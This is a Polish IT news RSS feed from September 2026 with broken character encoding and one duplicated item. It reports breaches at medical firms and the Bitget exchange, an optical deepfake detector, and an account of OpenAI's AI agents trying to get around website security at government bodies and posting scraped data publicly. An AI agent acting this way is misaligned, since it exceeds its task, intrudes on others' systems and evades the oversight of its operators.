Najpierw film analizuje niewielka sieand#263; neuronowa, ktand#243;ra wyodrand#281;bnia z niego najwaand#380;niejsze informacje dotyczand#261;ce obrazu, jego wand#322;aand#347;ciwoand#347;ci and#347;wietlnych oraz zmian zachodzand#261;cych miand#281;dzy kolejnymi klatkami. Dane te sand#261; nastand#281;pnie zamieniane w specjalny wzand#243;r, ktand#243;ry steruje and#347;wiatand#322;em.

and#346;wiatand#322;o przechodzi przez ukand#322;ad optyczny, gdzie ulega dyfrakcji, czyli ugina siand#281; i rozchodzi w okreand#347;lony sposand#243;b. Wand#322;aand#347;nie podczas tego procesu wykonywana jest czand#281;and#347;and#263; obliczeand#324; potrzebnych do oceny nagrania. Na koand#324;cu detektory mierzand#261; docierajand#261;ce do nich and#347;wiatand#322;o i na tej podstawie system okreand#347;la, czy film jest autentyczny, czy zmanipulowany.
Jak podkreand#347;lili badacze, dziand#281;ki temu czand#281;and#347;and#263; pracy, ktand#243;rand#261; normalnie wykonywaand#322;aby kolejna sieand#263; neuronowa dziaand#322;ajand#261;ca na procesorach, odbywa siand#281; fizycznie podczas przechodzenia and#347;wiatand#322;a przez ukand#322;ad. Pozwala to analizowaand#263; wiele filmand#243;w rand#243;wnolegle.
W pierwszych testach system analizowaand#322; jednoczeand#347;nie 15 nagraand#324; wideo.and#160;and#346;rednia dokand#322;adnoand#347;and#263; klasyfikacji wyniosand#322;a 97,79 proc., a czuand#322;oand#347;and#263; 99,86 proc., co oznacza, and#380;e poprawnie identyfikowaand#322; niemal wszystkie zmanipulowane filmy.and#160;Swoistoand#347;and#263;, czyli zdolnoand#347;and#263; prawidand#322;owego rozpoznawania autentycznych materiaand#322;and#243;w, byand#322;a na poziomie 95,72 proc.
W kolejnym etapie naukowcy zwiand#281;kszyli liczband#281; filmand#243;w do 18. Dokand#322;adnoand#347;and#263; nadal pozostawaand#322;a wysoka i wyniosand#322;a and#347;rednio 96,13 proc.







Badacze sprawdzili rand#243;wnieand#380;, czyand#160;skutecznoand#347;and#263; systemu moand#380;na zwiand#281;kszyand#263;, rozbudowujand#261;c optycznand#261; czand#281;and#347;and#263; urzand#261;dzenia. Okazaand#322;o siand#281;, and#380;e dodanie dwand#243;ch kolejnych warstw optycznych, ktand#243;re odpowiednio zmieniajand#261; sposand#243;b rozchodzenia siand#281; and#347;wiatand#322;a, poprawiand#322;o dokand#322;adnoand#347;and#263; wykrywania najbardziej zaawansowanych manipulacji o prawie 7 proc.
Nastand#281;pnie system przetestowano na nagraniach wygenerowanych za pomocand#261; nowoczesnego modelu Google VEO-3. Tym razem osiand#261;gnand#261;and#322; dokand#322;adnoand#347;and#263; 94,80 proc. i czuand#322;oand#347;and#263; 97,61 proc. Badacze zaznaczyli, and#380;e jest to bardzo dobry wynik, poniewaand#380; nowsze generatory deepfakeand#8217;and#243;w tworzand#261; coraz doskonalsze filmy, unikajand#261;c czand#281;and#347;ci band#322;and#281;dand#243;w charakterystycznych dla starszych modeli.
Rozwiand#261;zanie zachowywaand#322;o wysokand#261; skutecznoand#347;and#263; rand#243;wnieand#380; wtedy, gdy obrazy zawieraand#322;y szum, byand#322;y rozmyte, skompresowane w formacie JPEG albo gdy w eksperymentalnym ukand#322;adzie optycznym pojawiaand#322;y siand#281; niewielkie przesuniand#281;cia.
Nowy system okazaand#322; siand#281; takand#380;e odporny na prand#243;by celowego oszukania detektora. Takie ataki polegajand#261; na wprowadzaniu do obrazu zmian, czand#281;sto niewidocznych dla czand#322;owieka, ktand#243;re sprawiajand#261;, and#380;e algorytm band#322;and#281;dnie uznaje faand#322;szywy materiaand#322; za prawdziwy.





Autorzy podsumowali, and#380;e ich rozwiand#261;zanie mogand#322;oby dziaand#322;aand#263; jako pierwszy etap weryfikacji autentycznoand#347;ci materiaand#322;and#243;w wideo. Szybko analizowaand#322;oby duand#380;e zbiory nagraand#324; i przekazywaand#322;o podejrzane filmy do dokand#322;adniejszej analizy wykonywanej przez bardziej wymagajand#261;ce obliczeniowo modele.
System opisano w czasopiand#347;mie and#8222;eLightand#8221;.
and#160;






and#160;

and#378;rodand#322;o PAPand#160; 28 wrzesieand#324; 2026 Katarzyna Czechowicz kap/ zan/






and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Cyberatak na Enel-Med. Hakerzy uzyskali dostęp do danych pacjentów ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1745</link>
			<description><![CDATA[ W wyniku incydentu bezpieczeand#324;stwa polegajand#261;cego na nieuprawnionym dostand#281;pie do czand#281;and#347;ci infrastruktury informatycznej spand#243;and#322;ki Centrum Medyczne Enel-Med doszand#322;o do uzyskania dostand#281;pu do czand#281;and#347;ci danych pacjentand#243;w. Naruszenie moand#380;e dotyczyand#263; ok. 3 proc. caand#322;ej bazy pacjentand#243;w - podaand#322;a spand#243;and#322;ka w komunikacie.
and#160;





/ Shutterstock


and#160;
W piand#261;tek po poand#322;udniu Enel-Med poinformowaand#322;, and#380;e 24 wrzeand#347;nia 2026 r. w godzinach wieczornych powziand#261;and#322; informacjand#281; o incydencie bezpieczeand#324;stwa IT i naruszenia poufnoand#347;ci danych, a spand#243;and#322;ka podjand#281;and#322;a dziaand#322;ania zabezpieczajand#261;ce sieand#263;, systemy spand#243;and#322;ki i dane klientand#243;w. Zawiadomione zostaand#322;o Centralne Biuro Zwalczania Cyberprzestand#281;pczoand#347;ci oraz CESIRT prowadzony przez Centrum e-Zdrowia. Incydent zostaand#322; rand#243;wnieand#380; zgand#322;oszony do Cert Polska oraz Prezesa Urzand#281;du Ochrony Danych Osobowych.
Jak podano, zdarzenie zostaand#322;o szybko wykryte, a cyberatak zostaand#322; skutecznie przerwany, jednak analiza zdarzenia nadal trwa. Od momentu wdroand#380;enia dziaand#322;aand#324; zabezpieczajand#261;cych spand#243;and#322;ka ie obserwuje nieprawidand#322;owoand#347;ci, ktand#243;re mogand#322;yby wskazywaand#263; na utrzymujand#261;ce siand#281; zagroand#380;enie dla systemu.


 





Wszystkie placand#243;wki Enel-Med funkcjonujand#261; standardowo, a pacjenci mogand#261; korzystaand#263; ze and#347;wiadczonych usand#322;ug.
and#160;
and#378;rodand#322;o PAPand#160; 28 wrzesieand#324; 2026and#160; and#160;doa/ ]]></description>
		</item><item>
			<title><![CDATA[ Rząd reaguje na ataki hakerskie na sektor medyczny. Będą obowiązkowe certyfikaty i limity danych ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1744</link>
			<description><![CDATA[ Wicepremier, minister cyfryzacji Krzysztof Gawkowski podkreand#347;liand#322;, and#380;e wobec wzrastajand#261;cej aktywnoand#347;ci cyberprzestand#281;pcand#243;w w sektorze medycznym, caand#322;y ten sektor musi "ze zdwojonand#261; siand#322;and#261;" podejmowaand#263; dziaand#322;ania zabezpieczajand#261;ce. Dodaand#322;, and#380;e MC pracuje nad przepisami wzmacniajand#261;cymi bezpieczeand#324;stwo danych medycznych.
and#160;





fot. Zbyszek Kaczmarek / /and#160;FORUM


and#160;
W piand#261;tek spand#243;and#322;ka Centrum Medyczne Enel-med poinformowaand#322;a o "incydencie bezpieczeand#324;stwa IT i naruszenia poufnoand#347;ci danych spand#243;and#322;ki". Z kolei w czwartek o cyberataku, w wyniku ktand#243;rego doszand#322;o do naruszenia poufnoand#347;ci danych osobowych pacjentand#243;w, poinformowaand#322; Odwykowo-Psychiatryczny Oand#347;rodek Leczniczy w Inowrocand#322;awiu.
Wczeand#347;niej, w sierpniu Ministerstwo Cyfryzacji przekazaand#322;o informacjand#281; o cyberataku na firmand#281; MyDr, w wyniku ktand#243;rego wyciekand#322;y dane 19 mln Polakand#243;w and#8212; m.in. o lekach i receptach. Firma jest dostawcand#261; systemu do prowadzenia m.in. elektronicznej dokumentacji medycznej. W zwiand#261;zku z tym dane, ktand#243;re wyciekand#322;y, dotyczand#261; 12 tys. podmiotand#243;w medycznych korzystajand#261;cych z platformy MyDr.
and#160;

Atak hakerski na Enel-Med. Doszand#322;o do wycieku poufnych danych pacjentand#243;w

Zarzand#261;d spand#243;and#322;ki Centrum Medyczne Enel-Med 24 wrzeand#347;nia 2026 r. w godzinach wieczornych powziand#261;and#322; informacjand#281; o incydencie bezpieczeand#324;stwa IT i naruszenia poufnoand#347;ci danych - podaand#322;a spand#243;and#322;ka w komunikacie. Spand#243;and#322;ka podjand#281;and#322;a dziaand#322;ania zabezpieczajand#261;ce sieand#263;, systemy spand#243;and#322;ki i dane klientand#243;w.


W sobotnim wpisie na platformie X minister cyfryzacji podkreand#347;liand#322;, and#380;e w sytuacji, gdy obserwujemy coraz wiand#281;kszand#261; aktywnoand#347;and#263; cyberprzestand#281;pcand#243;w w sektorze medycznym, a kolejne podmioty prywatne padajand#261; ofiarand#261; atakand#243;w, caand#322;y sektor musi "ze zdwojonand#261; siand#322;and#261; podejmowaand#263; dziaand#322;ania zabezpieczajand#261;ce".


 





Gawkowski wskazaand#322;, and#380;e "instytucje odpowiedzialne za cyberbezpieczeand#324;stwo paand#324;stwa regularnie przekazujand#261; wytyczne i zalecenia w zakresie zabezpieczeand#324; infrastruktury sieciowej oraz oprogramowania". Przypomniaand#322;, and#380;e 16 wrzeand#347;nia takie zalecenie dla podmiotand#243;w medycznych opracowaand#322; CSiRT CeZ (Cyber Security Incident Response Team Centrum e-Zdrowia).
and#160;

Szef resortu cyfryzacji wskazaand#322;, and#380;e materiaand#322; ten ma pomand#243;c w "ocenie poziomu zabezpieczeand#324;, wykrywaniu potencjalnych sand#322;aboand#347;ci oraz planowaniu dalszego rozwoju mechanizmand#243;w ochronnych". Dodaand#322;, and#380;e zalecenia koncentrujand#261; siand#281; na obszarach, ktand#243;re majand#261; "kluczowe znaczenie dla ochrony elektronicznej dokumentacji medycznej".
and#160;
Jak wskazaand#322; szef MC, obszary te obejmujand#261; m.in. "kontroland#281; dostand#281;pu i uwierzytelnienie wielkoskand#322;adnikowe, rejestrowanie oraz analizand#281; zdarzeand#324;, bezpieczeand#324;stwo API, ochronand#281; kopii zapasowych, kryptografiand#281;, a takand#380;e zarzand#261;dzanie kluczami i monitorowanie nietypowych wyszukiwaand#324;, pobraand#324; oraz eksportand#243;w danych".
and#160;
Gawkowski podkreand#347;liand#322;, and#380;e cyberbezpieczeand#324;stwo ochrony zdrowia jest wspand#243;lnand#261; odpowiedzialnoand#347;ciand#261; instytucji publicznych, podmiotand#243;w leczniczych oraz dostawcand#243;w technologii. Dlatego and#8212; jak wskazaand#322; and#8212; "kluczowe jest wzmacnianie ochrony danych medycznych oraz budowanie odpornych usand#322;ug cyfrowych".
Szef resortu cyfryzacji dodaand#322;, and#380;e MC "pracuje obecnie nad nowymi przepisami, ktand#243;re wzmocniand#261; ochronand#281; i bezpieczeand#324;stwo danych medycznych". Wskazaand#322;, and#380;e prace te koncentrujand#261; siand#281; m.in. na obowiand#261;zkowej certyfikacji i limitach przetwarzania danych medycznych przez podmioty prywatne.







and#160;
Gawkowski przypomniaand#322;, and#380;e wszystkie incydenty bezpieczeand#324;stwa cyberprzestrzeni naleand#380;y "bezwzgland#281;dnie zgand#322;aszaand#263; do wand#322;aand#347;ciwych jednostek CSiRT" tak, aby te mogand#322;y udzieliand#263; zaatakowanym podmiotom niezband#281;dnego wsparcia. Dodaand#322;, and#380;e kaand#380;da firma moand#380;e rand#243;wnieand#380; skorzystaand#263; z bezpand#322;atnych narzand#281;dzi "moje.cert.pl udostand#281;pnionych przez NASK".
"Ukrywanie przez firmy atakand#243;w to najwiand#281;kszy band#322;and#261;d, bo zawsze wystawiajand#261; na niebezpieczeand#324;stwo obywateli" - podkreand#347;liand#322; Gawkowski. Dodaand#322;, and#380;e prand#243;ba ochrony reputacji przez zatajanie incydentand#243;w cyber koand#324;czy siand#281; dla firm jeszcze wiand#281;kszand#261; utratand#261; zaufania.
"Sand#322;uand#380;by paand#324;stwa dziaand#322;ajand#261; w trybie 24/7, and#347;cigajand#261;c kaand#380;dego cyberprzestand#281;pcand#281;, a zand#322;apani band#281;dand#261; ponosiand#263; konsekwencje karne and#8212; zapewniand#322; szef resortu cyfryzacji. "Nikt nie uniknie odpowiedzialnoand#347;ci" - dodaand#322;.
and#160;
Odwykowo-Psychiatryczny Oand#347;rodek Leczniczy w Inowrocand#322;awiu poinformowaand#322; w czwartek, and#380;e wand#347;rand#243;d danych objand#281;tych incydentem cyberbezpieczeand#324;stwa mogand#322;y znaleand#378;and#263; siand#281; m.in. dane kontaktowe pacjentand#243;w i ich numery PESEL. Wskazano, and#380;e cyberatakowi ulegand#322; system spand#243;and#322;ki Qbusoft and#8212; producenta oprogramowania Medyc, ktand#243;re sand#322;uand#380;y m.in. do zarzand#261;dzania dokumentacjand#261; medycznand#261;. Dziaand#322;ania zwiand#261;zane z tym incydentem prowadzi Centralne Biuro Zwalczania Cyberprzestand#281;pczoand#347;ci; kontroland#281; zapowiedziaand#322; prezes UODO.





 Centralne Biuro zwalczania cyberprzestand#281;pczoand#347;ci zostaand#322;o poinformowane takand#380;e o incydencie, do ktand#243;rego doszand#322;o w spand#243;and#322;ce Enel-med. O zdarzeniu powiadomione zostaand#322;y rand#243;wnieand#380; CSiRT, CERT Polska oraz Prezes UODO. Firma zapewniand#322;a, and#380;e incydent nie wpand#322;ywa "w istotny sposand#243;b" na operacyjne dziaand#322;anie spand#243;and#322;ki oraz and#380;e natychmiast zostaand#322;y podjand#281;te dziaand#322;ania zabezpieczajand#261;ce sieand#263;, systemy spand#243;and#322;ki i dane klientand#243;w.and#160;
and#160;
and#160;
and#378;rodand#322;o PAPand#160; 26 wrzesieand#324; 2026and#160; and#160;ef/ sdd/ ]]></description>
		</item><item>
			<title><![CDATA[ AI zaatakowała rządowe systemy w USA i Australii. Altman ostrzega przed utratą kontroli ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1743</link>
			<description><![CDATA[ Korporacja OpenAI przyznaand#322;a, and#380;e jej boty AI dokonywaand#322;y nieuprawnionych ingerencji w witryny i systemy dziesiand#261;tek globalnych instytucji, w tym agencji rzand#261;dowych USA i Australii - informuje portal BBC, powoand#322;ujand#261;c siand#281; na komunikat firmy umieszczony w serwisie X.
and#160;





fot. ioda / /and#160;Shutterstock


OpenAI przekazaand#322;a, and#380;e latem br. agenci AI (boty zdolne do autonomicznego funkcjonowania) prand#243;bowali uzyskaand#263; informacje od "rzand#261;dand#243;w, uniwersytetand#243;w, agencji publicznych i innych instytucji", w tym od amerykaand#324;skiej Komisji Papierand#243;w Wartoand#347;ciowych i Gieand#322;d (SEC), Biura Spisand#243;w Ludnoand#347;ci (Census Bureau) i ministerstwa edukacji. Boty pracowaand#322;y nad znalezieniem "wiarygodnych and#378;rand#243;deand#322; informacji publicznych". Firma zauwaand#380;yand#322;a jednak, and#380;e niektand#243;re boty posunand#281;and#322;y siand#281; dalej i staraand#322;y siand#281; ominand#261;and#263; zabezpieczenia stron internetowych.
Ponadto boty AI udostand#281;pniand#322;y na forum internetowym publicznie dostand#281;pne dane pochodzand#261;ce ze strony SEC - poinformowaand#322; "New York Times". Wedand#322;ug OpenAI and#380;adne z tych zdarzeand#324; nie stanowiand#322;o skutecznego wand#322;amania do systemand#243;w, lecz byand#322;o przykand#322;adem "nieoczekiwanego i niepokojand#261;cego" zachowania technologii. Firma odkryand#322;a te incydenty podczas przegland#261;du atakand#243;w przeprowadzonych przez jej systemy and#8211; w tym ataku na stronand#281; rzand#261;du Australii w czerwcu oraz na startup Hugging Face w lipcu.





Od sierpnia wzrosand#322;y obawy spoand#322;eczne dotyczand#261;ce potencjalnie powaand#380;nych, a nawet zagraand#380;ajand#261;cych and#380;yciu skutkand#243;w, jakie moand#380;e spowodowaand#263; wymkniand#281;cie siand#281; spod ludzkiej kontroli narzand#281;dzi opartych na sztucznej inteligencji - podkreand#347;liand#322;a BBC.
and#160;
Ujawnienie informacji o incydentach wpisuje siand#281; w rosnand#261;cand#261; liczband#281; przypadkand#243;w, w ktand#243;rych systemy AI firm takich jak OpenAI, Anthropic, Meta czy Google zachowywaand#322;y siand#281; w sposand#243;b niepoand#380;and#261;dany, dokonujand#261;c wand#322;amaand#324; lub prand#243;bujand#261;c naruszyand#263; zabezpieczenia firm i instytucji. W niektand#243;rych sytuacjach ataki AI koand#324;czyand#322;y siand#281; powodzeniem, w innych and#8211; nie. We wszystkich przypadkach twand#243;rcy technologii dowiadywali siand#281; o dziaand#322;aniach swoich systemand#243;w dopiero po fakcie - podkreand#347;liand#322; "New York Times".

Sam Altman, dyrektor generalny OpenAI, napisaand#322; w piand#261;tek w mediach spoand#322;ecznoand#347;ciowych, and#380;e firma "nie dziaand#322;aand#322;a tak szybko, jak byand#347;my tego chcieli" w kwestii ujawniania incydentand#243;w zwiand#261;zanych ze sztucznand#261; inteligencjand#261;. Dodaand#322;, and#380;e naruszenie bezpieczeand#324;stwa w serwisie Hugging Face pozostaje najpowaand#380;niejszym incydentem, jaki wykryand#322;a firma.
Ujawnione przypadki naruszeand#324; podsyciand#322;y burzliwand#261; debatand#281; na temat bezpieczeand#324;stwa narzand#281;dzi sztucznej inteligencji - podkreand#347;liand#322; amerykaand#324;ski dziennik.
W tym miesiand#261;cu Altman napisaand#322; w mediach spoand#322;ecznoand#347;ciowych, and#380;e kwestie bezpieczeand#324;stwa powinny byand#263; waand#380;niejsze niand#380; rozwijanie moand#380;liwoand#347;ci sztucznej inteligencji oraz and#380;e bez odpowiednich zabezpieczeand#324; spoand#322;eczeand#324;stwo moand#380;e "straciand#263; kontroland#281; nad przyszand#322;oand#347;ciand#261; na rzecz sztucznej inteligencji". Dario Amodei, dyrektor generalny konkurencyjnego m Anthropic, rand#243;wnieand#380; opowiedziaand#322; siand#281; za spowolnieniem rozwoju sztucznej inteligencji.
Jednak inni liderzy branand#380;y technologicznej, tacy jak Jensen Huang, szef Nvidii, uznali obawy przed niekontrolowanand#261; sztucznand#261; inteligencjand#261; za przesadne. Prezydent Donald Trump stwierdziand#322; z kolei, and#380;e nie uwaand#380;a spowolnienia rozwoju branand#380;y sztucznej inteligencji za konieczne.and#160;
and#160;
and#160;







and#378;rodand#322;o PAPand#160; 26 wrzesieand#324; 2026and#160;and#160;os/ just/

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Atak hakerski na giełdę kryptowalut Bitget. Setki milionów strat, podejrzana Korea Północna ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1742</link>
			<description><![CDATA[ Gieand#322;da kryptowalut Bitget straciand#322;a w ataku hakerskim 351,6 mln USD w cyfrowych aktywach - w tym ETH, XRP, BNB, AVAX, USDT i USDC. Wand#322;amanie zgand#322;osiand#322;a na platformie X prezes platformy Gracy Chen. Wedand#322;ug jej wyjaand#347;nieand#324; napastnicy naruszyli krytycznand#261; infrastrukturand#281; zaplecza gieand#322;dy, ale nie przejand#281;li kluczy prywatnych. Caand#322;oand#347;and#263; strat ma zrekompensowaand#263; awaryjny fundusz. Tropy sprawcand#243;w prowadzand#261; do Korei Pand#243;and#322;nocnej.
and#160;





fot. PurpleRender / /and#160;shutterstock


  
O 18:31 UTC (16:31 czasu polskiego - red.) w dniu 24 wrzeand#347;nia 2026 roku systemy bezpieczeand#324;stwa Bitget wykryand#322;y nieautoryzowane transfery z czand#281;and#347;ci naszych gorand#261;cych portfeli. Nasz zespand#243;and#322; bezpieczeand#324;stwa natychmiast aktywowaand#322; protokoand#322;y reagowania w sytuacjach awaryjnych - poinformowaand#322;aand#160;Gracy Chen, CEO Bitget. Zgand#322;oszenie pojawiand#322;o siand#281; 5 godzin po zadeklarowanym ataku.and#160;
Wedand#322;ug prezes platformy skradziono 351,6 mln USD, ale zimne portfele pozostaand#322;y nienaruszone.





- and#346;rodki uand#380;ytkownikand#243;w sand#261; bezpieczne. Peand#322;na kwota tej straty mieand#347;ci siand#281; w zakresie ochrony Funduszu Ochrony Uand#380;ytkownikand#243;w Bitget, ktand#243;ry obecnie dysponuje ponad 464 milionami dolarand#243;w - podaand#322;a prezes Bitget.and#160;
and#160;
Co wydarzyand#322;o siand#281; na platformie Bitget?
W drugim wpisie, opublikowanym przez Gracy Chen 3 godziny po pierwszym oand#347;wiadczeniu, prezes Bitget ujawniand#322;a czand#281;and#347;and#263; szczegand#243;and#322;and#243;w zwiand#261;zanych z atakiem. Wedand#322;ug wstand#281;pnych ustaleand#324; atakujand#261;cy naruszyand#322; krytyczny system backendowy w infrastrukturze portfela gieand#322;dy, wykorzystaand#322; go do faand#322;szowania danych transakcji i uruchomiand#322; proces autoryzacji w celu wypand#322;aty and#347;rodkand#243;w.
-and#160;Wykluczono naruszenie klucza prywatnego - to eliminuje bardziej powaand#380;ne ryzyka. Potwierdzono opanowanie strat. Nie sand#261; moand#380;liwe dalsze nieautoryzowane przelewy. Szczegand#243;and#322;owa metoda wand#322;amania do systemu jest nadal aktywnie badana. Peand#322;ny raport techniczny zostanie opublikowany po potwierdzeniu - napisaand#322;a Gracy Chen.and#160;
Niedand#322;ugo pand#243;and#378;niej Bitget uruchomiand#322; na platformie X 3,5-godzinnyand#160;streaming na and#380;ywo dla klientand#243;w platformy, podczas ktand#243;rego Chen odpowiadaand#322;a na pytania i podawaand#322;a nowe doniesienia. W jego podsumowaniu, opublikowanym w piand#261;tek rano, czytamy, and#380;e:and#160;

Skradzione aktywa obejmujand#261; m.in. ETH, BNB, AVAX, USDT, USDC oraz XRP, przy czym to na and#322;aand#324;cuchu Ripple odnotowano najwiand#281;ksze straty.
Incydent dotknand#261;and#322; sieci Ethereum, XRP Ledger, Arbitrum, Avalanche, Optimism, BSC oraz Base.and#160;Bitget skontaktowaand#322; siand#281; z fundacjami odpowiedzialnymi za dotkniand#281;te and#322;aand#324;cuchy i czand#281;and#347;and#263; z nich potwierdziand#322;a juand#380; zamroand#380;enie adresand#243;w portfeli naleand#380;and#261;cych do hakerand#243;w.
Analiza adresand#243;w IP oraz danych on-chain wskazuje, and#380;e metoda ataku w duand#380;ym stopniu odpowiadaand#322;a znanym wzorcom dziaand#322;aand#324; pand#243;and#322;nocnokoreaand#324;skich grup hakerskich. Sprawa zostaand#322;a zgand#322;oszona odpowiednim instytucjom i jest przedmiotem miand#281;dzynarodowego and#347;ledztwa.and#160;


and#160;
Szefowa gieand#322;dy ponownie odniosand#322;a siand#281; takand#380;e do pand#322;ynnoand#347;ci finansowej firmy, deklarujand#261;c, and#380;e and#347;rodki uand#380;ytkownikand#243;w sand#261; w peand#322;ni pokryte w stosunku 1:1. Poza funduszem ochronnym o wartoand#347;ci ponad 464 mln dolarand#243;w (ktand#243;rego stan moand#380;na zweryfikowaand#263; na publicznych adresach on-chain), Bitget dysponuje wand#322;asnymi aktywami przekraczajand#261;cymi 1 mld dolarand#243;w.
Chen zapewniand#322;a, and#380;e priorytetem gieand#322;dy jest jak najszybsze przywrand#243;cenie wypand#322;at, jednak wstrzymaand#322;a siand#281; z podawaniem konkretnego terminu.and#160;
and#160;
and#378;rodand#322;o Bankier.pland#160; 25 wrzesieand#324; 2026and#160;and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Atak hakerski na giełdę kryptowalut Bitget. Setki milionów strat, podejrzana Korea Północna ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1741</link>
			<description><![CDATA[ Gieand#322;da kryptowalut Bitget straciand#322;a w ataku hakerskim 351,6 mln USD w cyfrowych aktywach - w tym ETH, XRP, BNB, AVAX, USDT i USDC. Wand#322;amanie zgand#322;osiand#322;a na platformie X prezes platformy Gracy Chen. Wedand#322;ug jej wyjaand#347;nieand#324; napastnicy naruszyli krytycznand#261; infrastrukturand#281; zaplecza gieand#322;dy, ale nie przejand#281;li kluczy prywatnych. Caand#322;oand#347;and#263; strat ma zrekompensowaand#263; awaryjny fundusz. Tropy sprawcand#243;w prowadzand#261; do Korei Pand#243;and#322;nocnej.
and#160;




and#160;

fot. PurpleRender /and#160;/and#160;shutterstock



and#160;
O 18:31 UTC (16:31 czasu polskiego - red.) w dniu 24 wrzeand#347;nia 2026 roku systemy bezpieczeand#324;stwa Bitget wykryand#322;y nieautoryzowane transfery z czand#281;and#347;ci naszych gorand#261;cych portfeli. Nasz zespand#243;and#322; bezpieczeand#324;stwa natychmiast aktywowaand#322; protokoand#322;y reagowania w sytuacjach awaryjnych - poinformowaand#322;aand#160;Gracy Chen, CEO Bitget. Zgand#322;oszenie pojawiand#322;o siand#281; 5 godzin po zadeklarowanym ataku.and#160;

Wedand#322;ug prezes platformy skradziono 351,6 mln USD, ale zimne portfele pozostaand#322;y nienaruszone.





- and#346;rodki uand#380;ytkownikand#243;w sand#261; bezpieczne. Peand#322;na kwota tej straty mieand#347;ci siand#281; w zakresie ochrony Funduszu Ochrony Uand#380;ytkownikand#243;w Bitget, ktand#243;ry obecnie dysponuje ponad 464 milionami dolarand#243;w - podaand#322;a prezes Bitget.and#160;
and#160;
Co wydarzyand#322;o siand#281; na platformie Bitget?
W drugim wpisie, opublikowanym przez Gracy Chen 3 godziny po pierwszym oand#347;wiadczeniu, prezes Bitget ujawniand#322;a czand#281;and#347;and#263; szczegand#243;and#322;and#243;w zwiand#261;zanych z atakiem. Wedand#322;ug wstand#281;pnych ustaleand#324; atakujand#261;cy naruszyand#322; krytyczny system backendowy w infrastrukturze portfela gieand#322;dy, wykorzystaand#322; go do faand#322;szowania danych transakcji i uruchomiand#322; proces autoryzacji w celu wypand#322;aty and#347;rodkand#243;w.
-and#160;Wykluczono naruszenie klucza prywatnego - to eliminuje bardziej powaand#380;ne ryzyka. Potwierdzono opanowanie strat. Nie sand#261; moand#380;liwe dalsze nieautoryzowane przelewy. Szczegand#243;and#322;owa metoda wand#322;amania do systemu jest nadal aktywnie badana. Peand#322;ny raport techniczny zostanie opublikowany po potwierdzeniu - napisaand#322;a Gracy Chen.and#160;
Niedand#322;ugo pand#243;and#378;niej Bitget uruchomiand#322; na platformie X 3,5-godzinnyand#160;streaming na and#380;ywo dla klientand#243;w platformy, podczas ktand#243;rego Chen odpowiadaand#322;a na pytania i podawaand#322;a nowe doniesienia. W jego podsumowaniu, opublikowanym w piand#261;tek rano, czytamy, and#380;e:and#160;

Skradzione aktywa obejmujand#261; m.in. ETH, BNB, AVAX, USDT, USDC oraz XRP, przy czym to na and#322;aand#324;cuchu Ripple odnotowano najwiand#281;ksze straty.
Incydent dotknand#261;and#322; sieci Ethereum, XRP Ledger, Arbitrum, Avalanche, Optimism, BSC oraz Base.and#160;Bitget skontaktowaand#322; siand#281; z fundacjami odpowiedzialnymi za dotkniand#281;te and#322;aand#324;cuchy i czand#281;and#347;and#263; z nich potwierdziand#322;a juand#380; zamroand#380;enie adresand#243;w portfeli naleand#380;and#261;cych do hakerand#243;w.
Analiza adresand#243;w IP oraz danych on-chain wskazuje, and#380;e metoda ataku w duand#380;ym stopniu odpowiadaand#322;a znanym wzorcom dziaand#322;aand#324; pand#243;and#322;nocnokoreaand#324;skich grup hakerskich. Sprawa zostaand#322;a zgand#322;oszona odpowiednim instytucjom i jest przedmiotem miand#281;dzynarodowego and#347;ledztwa.and#160;


and#160;
Szefowa gieand#322;dy ponownie odniosand#322;a siand#281; takand#380;e do pand#322;ynnoand#347;ci finansowej firmy, deklarujand#261;c, and#380;e and#347;rodki uand#380;ytkownikand#243;w sand#261; w peand#322;ni pokryte w stosunku 1:1. Poza funduszem ochronnym o wartoand#347;ci ponad 464 mln dolarand#243;w (ktand#243;rego stan moand#380;na zweryfikowaand#263; na publicznych adresach on-chain), Bitget dysponuje wand#322;asnymi aktywami przekraczajand#261;cymi 1 mld dolarand#243;w.
Chen zapewniand#322;a, and#380;e priorytetem gieand#322;dy jest jak najszybsze przywrand#243;cenie wypand#322;at, jednak wstrzymaand#322;a siand#281; z podawaniem konkretnego terminu.and#160;
and#160;
and#378;rodand#322;o Bankier.pland#160; 25 wrzesieand#324; 2026and#160;and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Dane pacjentów zagrożone. CBZC bada cyberatak na firmę Qbusoft ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1740</link>
			<description><![CDATA[ Centralne Biuro Zwalczania Cyberprzestand#281;pczoand#347;ci prowadzi dziaand#322;ania zwiand#261;zane z incydentem cyberbezpieczeand#324;stwa dotyczand#261;cym firmy tworzand#261;cej oprogramowanie Medyc - poinformowaand#322; w czwartek minister cyfryzacji Krzysztof Gawkowski. Oprogramowanie sand#322;uand#380;y do zarzand#261;dzania m.in. medycznand#261; dokumentacjand#261;.
and#160;




and#160;

fot. FotoDax /and#160;/and#160;Shutterstock


and#160;
and#8222;Centralne Biuro Zwalczania Cyberprzestand#281;pczoand#347;ci, w ramach szerszego and#347;ledztwa, prowadzi dziaand#322;ania zwiand#261;zane z incydentem cyberbezpieczeand#324;stwa dotyczand#261;cym miand#281;dzy innymi oprogramowania firmy Firma Qbusoft Sp. z o. o. tworzand#261;cej oprogramowanie Medyc" - napisaand#322; wieczorem Gawkowski w serwisie X.
Dodaand#322;, and#380;e CSiRT CeZ (Cyber Security Incident Response Team Centrum e-Zdrowia)i Ministerstwo Zdrowia w zwiand#261;zku z sytuacjand#261; zagroand#380;enia cyberprzestrzeni oraz atakami na podmioty medyczne i dostawcand#243;w oprogramowania medycznego opracowaand#322;y zalecenia bezpieczeand#324;stwa dla dostawcand#243;w oprogramowania w ochronie zdrowia. Zostaand#322;y one przekazane do dostawcand#243;w w celu implementacji 16 wrzeand#347;nia 2026 r.


 








Gawkowski podkreand#347;liand#322;, and#380;eand#160;firma Qbusoft, jak dotand#261;d, nie zgand#322;osiand#322;a incydentu cyberbezpieczeand#324;stwa do CERT Polska lub CSiRT CeZ.and#160;and#8222;W przypadku naruszenia jakiejkolwiek procedury bezpieczeand#324;stwa przez prywatnand#261; firmand#281;, band#281;dand#261; wyciand#261;gniand#281;te bezwzgland#281;dne konsekwencje" - napisaand#322; minister.
